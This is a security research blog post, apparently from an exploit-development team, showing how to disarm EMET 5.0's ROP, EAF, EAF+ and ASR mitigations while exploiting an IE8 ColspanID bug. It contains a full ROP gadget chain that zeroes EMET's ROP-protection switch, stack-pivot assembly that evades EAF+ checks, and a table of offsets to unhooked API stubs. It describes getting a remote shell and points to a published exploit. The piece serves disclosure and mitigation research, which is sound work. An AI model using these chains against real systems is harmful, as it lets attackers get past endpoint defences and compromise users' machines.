INTRODUCTION

In our previous Disarming Emet 4.x blog post, we demonstrated how to disarm the ROP mitigations introduced in EMET 4.x by abusing a global variable in the .data section located at a static offset. A general overview of the EMET 5 technical preview has been recently published here. However, the release of the final version introduced several changes that mitigated our attack and we were curious to see how difficult it would be to adapt our previous disarming technique to this new version of EMET. In our research we targeted 32-bit systems and compared the results across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1, Windows XP SP3 and Windows 2003 SP2). We chose to use the IE8 ColspanID vulnerability once again in order to maintain consistency through our research.

ROP PROTECTIONS CONFIGURATION HARDENING

The very first thing that we noticed is that the global variable we exploited to disarm the ROP Protections (ROP-P) routine is not pointing directly to the ROP-P general switch anymore. This variable, which is now at offset 0x000aa84c from the EMET.dll base address, holds an encoded pointer to a structure of 0x560 bytes (See CONFIG_STRUCT in Fig. 1). The ROP-P general switch is now located at CONFIG_STRUCT+0x558 (Fig. 1, Fig. 2).

Encoded pointers are used to provide a layer of protection for the actual pointer values. These pointer values can be decoded by using the appropriate DecodePointer Windows API. Our first idea was to try to use the DecodePointer function to get the required pointer and then to zero out the general ROP-P switch. This API can usually be found in the Import Address Table (IAT) of several modules loaded by target processes. Additionally, since EMET.dll needs DecodePointer, we can extract the offset from the DLL base address directly from its IAT. The first step, as shown in our previous blog post, is to gather the EMET.dll base address. In this particular case, we will also save the EMET base address somewhere in memory in order to get the absolute address of DecodePointer later on. Once we decode the encoded pointer, disarming ROP becomes a very similar exercise as in our previous exploit.

The following ROP gadgets were used to disable the ROP Protections in the IE8 ColspanID exploit:

POP EAX # RETN // Pop GetModuleHandle Ptr from the stack

GetModuleHandle // GetModuleHandle Ptr

MOV EAX , [ EAX ] # RETN // Get GetModuleHandle Address

PUSH EAX # RETN // Call GetModuleHandle

POP ECX # RETN // GetModuleHandle RET Address : Pop EMET_CONFIG_STRUCT

EMET_STRING_PTR // GetModuleHandle argument

EMET_CONFIG_STRUCT // EMET_CONFIG_STRUCT offset

POP ESI // Pop MEM_ADDRESS Ptr to save EMET base

MEM_ADDRESS

MOV [ ESI ] , EAX # RETN // Save EMET base address at MEM_ADDRESS

ADD EAX , ECX # RETN // Get the address of EMET_CONFIG_STRUCT

MOV EAX , [ EAX ] // Get the encoded value stored at EMET_CONFIG_STRUCT

POP ESI // Pop DecodePointer ARG Ptr from the stack

DECODEPTR_ARG_PTR

MOV [ ESI ] , EAX // Update DECODEPTR_ARG with encoded value

POP EAX # RETN // Pop EMET base address Ptr

MEM_ADDRESS

MOV EAX , [ EAX ] // Get EMET Base

POP ECX # RETN // Pop DecodePointer offset from the stack

DECODEPTR_OFFSET

ADD EAX , ECX # RETN // Get the address of DecodePointer in IAT

MOV EAX , [ EAX ] // Get the address of DecodePointer

PUSH EAX # RETN // Call DecodePointer

POP ECX # RETN // Pop ROP - P Global Switch offset DECODEPTR_ARG

ROP_P_OFFSET

ADD EAX , ECX # RETN // Get address of ROP - P Global Switch offset

POP ECX # RETN // Pop 0 into ECX

0x00000000

MOV [ EAX ] , ECX # RETN // Zero out the ROP - P Global Switch

EAF

In our previous blog post, we bypassed EAF by using a known technique presented by the security researcher Piotr Bania. The technique makes use of the Windows syscall NtSetContextThread to clear the hardware breakpoints set by EMET on the Export Address Table of kernel32.dll and ntdll.dll. EMET 5 now protects the KERNELBASE.dll Export Address Table as well, but the only new protection implemented in version 5 against the use of the above technique is that now NtSetContextThread as well as NtContinue (which can also be used in a similar way to bypass EAF) are hooked by the toolkit.

“Unfortunately”, the hook eventually calls into the ROP-P routine, and since all the checks are already disarmed by the previous ROP chain, it is completely ineffective. The result is that no further changes to the shellcode were needed to bypass EMET 5 with all of its mitigations enabled except for EAF+. By resolving and calling NtSetContextThread, we were once again able to bypass EAF and successfully obtain a remote shell.

EAF+

EAF+, on the other hand, introduces a few extra security checks. First of all, it offers the possibility of blacklisting specific modules that should never be allowed to read protected locations (EAT and MZ/PE header of specific modules). For IE, EAF+ blacklists by default mshtml.dll, Adobe Flash flash*.ocx, jscript*.dll, vbscript.dll and vgx.dll. However, since in our case we are resolving NtSetContextThread by directly calling GetProcAddress, we are implicitly bypassing this mitigation.

When we ran our exploit with EAF+ enabled, IE crashed without any explanations or EMET-related log entries in the Windows Event Viewer. Our first thought was that EMET detected the stack register being out of the allowed boundaries, as this check and the detection of a mismatch of stack and frame pointer registers are the other two mitigations introduced by EAF+.

We were able to verify this by setting a breakpoint at EMET+0x40BA6 (Fig. 3), which is a basic block belonging to the EAF/EAF+ ExceptionHandler (EMET+0x4084A) installed by the toolkit.

Since we have already disarmed EMET ROP mitigations as well as DEP/ASLR at this point, we were able to bypass the stack registers check executing the following instructions just before resolving NtSetContextThread:

XOR EAX , EAX

MOV EAX , DWORD PTR FS : [ EAX + 18 ]

MOV EAX , DWORD PTR DS : [ EAX + 4 ]

ADD EAX ,- OFFSET

XCHG EAX , ESP

The first three instructions simply recover the StackBase pointer value for the executing thread from the Thread Environment Block (TEB). We then add a negative offset to fall within StackBase and StackLimit and set ESP to point to this value.

0:021> dt -r1 _TEB

ntdll!_TEB

+0x000 NtTib : _NT_TIB

+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD

+0x004 StackBase : Ptr32 Void

+0x008 StackLimit : Ptr32 Void

+0x00c SubSystemTib : Ptr32 Void

+0x010 FiberData : Ptr32 Void

+0x010 Version : Uint4B

+0x014 ArbitraryUserPointer : Ptr32 Void

+0x018 Self : Ptr32 _NT_TIB

At this point, we were happy enough as our exploit was working nicely with all the protections enabled. However, as we were reversing the EAF/EAF+ ExceptionHandler, we noticed something interesting. At offset EMET+0x00040E75 (Fig. 4) there is a call to NtSetContextThread, but rather than calling into the hooked Windows Native API, EMET calls a stub that sets up the syscall number into the EAX register and then jumps into NtSetContextThread+0x5 to bypass the EMET shim (Fig. 5).

The interesting part is that the pointer to this stub is an entry in the configuration structure that we used to disarm the ROP Protections. In other words, we can use this stub as an alternative way to bypass EAF+ as we can directly call into POINTER(CONFIG_STRUCT+0x518) without the need to resolve the NtSetContextThread address.

This discovery made us even more curious and we started to snoop around the entire structure. We saw that at specific static offsets from the beginning of the structure, you can find pointers to respective stubs for all the hooked Windows APIs:

shoujou:Desktop ryujin$ . / config_struct.py struct.txt | sort -u

Function: KERNELBASE ! CreateFileMappingNumaW Offset:0x428

Function: KERNELBASE ! CreateFileMappingW Offset:0x410

Function: KERNELBASE ! CreateFileW Offset:0x3b0

Function: KERNELBASE ! CreateRemoteThreadEx Offset:0x2d8

Function: KERNELBASE ! CreateRemoteThreadEx Offset:0x2f0

Function: KERNELBASE ! HeapCreate Offset:0x1e8

Function: KERNELBASE ! LoadLibraryExA Offset:0x80

Function: KERNELBASE ! LoadLibraryExW Offset:0x98

Function: KERNELBASE ! MapViewOfFile Offset:0x488

Function: KERNELBASE ! MapViewOfFileEx Offset:0x4a0

Function: KERNELBASE ! VirtualAlloc Offset:0x110

Function: KERNELBASE ! VirtualAllocEx Offset:0x128

Function: KERNELBASE ! VirtualProtect Offset:0x188

Function: KERNELBASE ! VirtualProtectEx Offset:0x1a0

Function: KERNELBASE ! WriteProcessMemory Offset:0x338

Function: kernel32 ! CreateFileA Offset:0x380

Function: kernel32 ! CreateFileMappingA Offset:0x3e0

Function: kernel32 ! CreateFileMappingWStub Offset:0x3f8

Function: kernel32 ! CreateFileWImplementation Offset:0x398

Function: kernel32 ! CreateProcessA Offset:0x218

Function: kernel32 ! CreateProcessInternalA Offset:0x248

Function: kernel32 ! CreateProcessInternalW Offset:0x260

Function: kernel32 ! CreateProcessW Offset:0x230

Function: kernel32 ! CreateRemoteThreadStub Offset:0x2c0

Function: kernel32 ! HeapCreateStub Offset:0x1d0

Function: kernel32 ! LoadLibraryA Offset:0x20

Function: kernel32 ! LoadLibraryExAStub Offset:0x50

Function: kernel32 ! LoadLibraryExWStub Offset:0x68

Function: kernel32 ! LoadLibraryW Offset:0x38

Function: kernel32 ! MapViewOfFileExStub Offset:0x470

Function: kernel32 ! MapViewOfFileStub Offset:0x458

Function: kernel32 ! VirtualAllocExStub Offset:0xf8

Function: kernel32 ! VirtualAllocStub Offset:0xe0

Function: kernel32 ! VirtualProtectExStub Offset:0x170

Function: kernel32 ! VirtualProtectStub Offset:0x158

Function: kernel32 ! WinExec Offset:0x368

Function: kernel32 ! WriteProcessMemoryStub Offset:0x320

Function: ntdll ! LdrHotPatchRoutine Offset:0x8

Function: ntdll ! LdrLoadDll Offset:0xc8

Function: ntdll ! NtContinue Offset:0x500

Function: ntdll ! NtCreateFile Offset:0x3c8

Function: ntdll ! NtCreateProcessEx Offset:0x2a8

Function: ntdll ! NtMapViewOfSection Offset:0x4e8

Function: ntdll ! NtProtectVirtualMemory Offset:0x1b8

Function: ntdll ! NtSetContextThread Offset:0x518

Function: ntdll ! NtUnmapViewOfSection Offset:0x4d0

Function: ntdll ! RtlCreateHeap Offset:0x200

Function: ntdll ! ZwAllocateVirtualMemory Offset:0x140

Function: ntdll ! ZwCreateProcess Offset:0x290

Function: ntdll ! ZwCreateSection Offset:0x440

Function: ntdll ! ZwCreateThreadEx Offset:0x308

Function: ntdll ! ZwCreateUserProcess Offset:0x278

Function: ntdll ! ZwWriteVirtualMemory Offset:0x350

This is particularly troublesome as it provides the attacker with access to the most powerful APIs completely unhooked and without the need of resolving their addresses once EMET CONFIG_STRUCT is gathered. However, since Deep Hooks are enabled by default, if the attacker plans to use one of the above APIs without disarming EMET in first place, they would need to call the deepest API in the chain.

As usual, the full exploit can be found at The Exploit Database. The exploit uses the stub at POINTER(CONFIG_STRUCT+0x518) to bypass EAF+ as well as the ROP chain presented in this blog post.

ASR

The Attack Surface Reduction (ASR) feature in EMET 5.0 helps reduce the exposure of applications by preventing the loading of specific modules or plugins within the target application. This protection can really be effective in cases where an attacker forces the target application to load a specific DLL to bypass ASLR (Java msvcr71.dll is a very typical case).

Protection provided by ASR does not affect our exploit in any way because we are using a memory leak to bypass ASLR in the IE ColspanID exploit. We are also not loading any extra modules to bypass DEP. Nevertheless, we conducted some research to understand where this mitigation is located within EMET.dll. Once again, we noticed that the actual checks are done within the very same ROP-P routine, thereby making ASR entirely ineffective once the ROP-P general switch has been zeroed out. However, if an attacker is planning to force the target application to load a blacklisted module to bypass ASLR, he wouldn’t be able to disarm the EMET ASR protection using our technique before loading the forbidden DLL.

PORTABILITY

Our testing on older operating systems shows that the offset to the CONFIG_STRUCT global variable changes to 0x000b0b4c due to the fact that a different EMET.dll is in use.

Nevertheless, offsets within the structure are consistent in all pre- and post-Vista Windows versions, both for the ROP-P general switch and for the unhooked APIs stubs. The only real differences are present when certain API functions are simply not available in the OS, such as in the case of KERNELBASE.DLL in Windows versions prior to Windows 7.

CONCLUSION

As we managed to successfully demonstrate, the difficulty in disarming EMET 5 mitigations has not increased substantially since version 4.x. More than anything, only our ROP chain has increased in size, while achieving the same effect of bypassing the protections offered by EMET. Here’s a video of our PoC IE exploit bypassing EMET v5.0: